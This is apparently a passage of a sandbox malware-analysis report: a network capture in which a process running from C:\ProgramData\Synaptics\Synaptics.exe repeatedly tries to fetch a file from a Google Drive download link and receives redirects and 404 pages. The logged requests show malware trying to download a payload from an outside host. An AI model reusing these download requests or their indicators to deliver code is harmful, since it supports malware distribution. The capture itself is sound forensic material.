Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.16	49739	142.250.185.65	443	3588	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-15 10:23:42 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=519=q1lrgPbFKCFyu9T66-I47plFxOcDwfVpLx1AMCfNBmcjVhw-lHFuRj4vTkQmEaNm3P5rkFiKGm8Y7Kh-YjhDVfZoa_nJ9BzX6mXcZUbqbT1yqaDMndMW1mfAPxxtETL9GO2a45cTllXcYq0IVEuvc0belUviCx4Nwnms2Hkkg8uxPlKHQA5ug14
2024-11-15 10:23:42 UTC	1253	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 15 Nov 2024 10:23:42 GMT Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: script-src 'report-sample' 'nonce-p9BG4DZgJUz7Mnn4sIUu3Q' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1652 X-GUploader-UploadID: AFiumC6Rgn-k5P4zZCNn2251JsyUHVJBxLxNg32qsrLpRLMZ3MFcKVYs1myuJd1wWFJk-b35NNbr5-dl2Q Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-11-15 10:23:42 UTC	125	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width
2024-11-15 10:23:42 UTC	1378	IN	Data Raw: 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 63 53 68 48 72 41 34 67 38 67 46 47 47 47 34 50 55 4b 33 34 4b 41 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 Data Ascii: "><title>Error 404 (Not Found)!!1</title><style nonce="cShHrA4g8gFGGG4PUK34KA">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;mi
2024-11-15 10:23:42 UTC	149	IN	Data Raw: 69 6d 67 3e 3c 2f 73 70 61 6e 3e 3c 2f 61 3e 3c 70 3e 3c 62 3e 34 30 34 2e 3c 2f 62 3e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: img></span></a><p><b>404.</b> <ins>Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.16	49740	142.250.185.65	443	3588	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-15 10:23:42 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=519=q1lrgPbFKCFyu9T66-I47plFxOcDwfVpLx1AMCfNBmcjVhw-lHFuRj4vTkQmEaNm3P5rkFiKGm8Y7Kh-YjhDVfZoa_nJ9BzX6mXcZUbqbT1yqaDMndMW1mfAPxxtETL9GO2a45cTllXcYq0IVEuvc0belUviCx4Nwnms2Hkkg8uxPlKHQA5ug14
2024-11-15 10:23:42 UTC	1246	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 15 Nov 2024 10:23:42 GMT Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-N6-oDqMd85dbC50aH0YZvw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Cross-Origin-Opener-Policy: same-origin Content-Length: 1652 X-GUploader-UploadID: AHmUCY0iGK6LLCieb78sH308NIyZvL5BY9KayvBeI27tWt0pjOdD06VMPQifpkf8SQd8P8RH7XE Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-11-15 10:23:42 UTC	132	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><titl
2024-11-15 10:23:42 UTC	1378	IN	Data Raw: 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 47 6d 2d 41 46 58 4c 35 58 72 4f 75 61 76 6f 47 67 76 70 38 76 77 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 Data Ascii: e>Error 404 (Not Found)!!1</title><style nonce="Gm-AFXL5XrOuavoGgvp8vw">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-heigh
2024-11-15 10:23:42 UTC	142	IN	Data Raw: 70 61 6e 3e 3c 2f 61 3e 3c 70 3e 3c 62 3e 34 30 34 2e 3c 2f 62 3e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: pan></a><p><b>404.</b> <ins>Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.16	49747	142.250.186.78	443	3588	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-15 10:23:43 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2024-11-15 10:23:43 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 15 Nov 2024 10:23:43 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: script-src 'report-sample' 'nonce-hqiR1F9T5knsPLVCWSHf0g' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.16	49746	142.250.186.78	443	3588	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-15 10:23:43 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2024-11-15 10:23:43 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 15 Nov 2024 10:23:43 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: script-src 'report-sample' 'nonce-9v0j7pZZRJDhUTTefd_FHQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.16	49752	142.250.185.65	443	3588	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-15 10:23:44 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=519=q1lrgPbFKCFyu9T66-I47plFxOcDwfVpLx1AMCfNBmcjVhw-lHFuRj4vTkQmEaNm3P5rkFiKGm8Y7Kh-YjhDVfZoa_nJ9BzX6mXcZUbqbT1yqaDMndMW1mfAPxxtETL9GO2a45cTllXcYq0IVEuvc0belUviCx4Nwnms2Hkkg8uxPlKHQA5ug14
2024-11-15 10:23:45 UTC	1246	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 15 Nov 2024 10:23:45 GMT Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-EV9ShNppUNIrt-oCFPKVVw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Length: 1652 X-GUploader-UploadID: AHmUCY2MZ9waaS5O8PdRUeWLOXiZri5zFmP996unH6bn9nBn9F5wmdRAH7fgiPbPpIan2tb73dw Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-11-15 10:23:45 UTC	132	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><titl
2024-11-15 10:23:45 UTC	1378	IN	Data Raw: 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 6d 4f 58 61 4f 67 47 4b 6a 7a 4f 35 4a 76 74 55 39 59 2d 79 52 67 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 Data Ascii: e>Error 404 (Not Found)!!1</title><style nonce="mOXaOgGKjzO5JvtU9Y-yRg">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-heigh
2024-11-15 10:23:45 UTC	142	IN	Data Raw: 70 61 6e 3e 3c 2f 61 3e 3c 70 3e 3c 62 3e 34 30 34 2e 3c 2f 62 3e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: pan></a><p><b>404.</b> <ins>Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.16	49754	142.250.185.65	443	3588	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-15 10:23:44 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=519=q1lrgPbFKCFyu9T66-I47plFxOcDwfVpLx1AMCfNBmcjVhw-lHFuRj4vTkQmEaNm3P5rkFiKGm8Y7Kh-YjhDVfZoa_nJ9BzX6mXcZUbqbT1yqaDMndMW1mfAPxxtETL9GO2a45cTllXcYq0IVEuvc0belUviCx4Nwnms2Hkkg8uxPlKHQA5ug14
2024-11-15 10:23:45 UTC	1253	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 15 Nov 2024 10:23:45 GMT Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-4AEcD5BCGIruSbU78IRBOA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1652 X-GUploader-UploadID: AFiumC5ieBayJDvdRDAPXr03Cf5LmNkqrMiW2zX8_Rd8VBVUHn1XAuCp-EBV_g81Imd-ywT9dQjtwr6dSQ Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-11-15 10:23:45 UTC	125	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width
2024-11-15 10:23:45 UTC	1378	IN	Data Raw: 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 6a 6e 53 45 47 5a 4c 74 42 79 74 38 70 6d 6f 6b 51 75 4b 68 59 41 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 Data Ascii: "><title>Error 404 (Not Found)!!1</title><style nonce="jnSEGZLtByt8pmokQuKhYA">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;mi
2024-11-15 10:23:45 UTC	149	IN	Data Raw: 69 6d 67 3e 3c 2f 73 70 61 6e 3e 3c 2f 61 3e 3c 70 3e 3c 62 3e 34 30 34 2e 3c 2f 62 3e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: img></span></a><p><b>404.</b> <ins>Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.16	49753	142.250.186.78	443	3588	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-15 10:23:44 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2024-11-15 10:23:45 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 15 Nov 2024 10:23:45 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'report-sample' 'nonce-kh_uDjIomLfP7NHL2cCNhQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.16	49751	142.250.186.78	443	3588	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-15 10:23:44 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2024-11-15 10:23:45 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 15 Nov 2024 10:23:45 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-TkE2KyFkh9F7lLM6sMLDJA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; 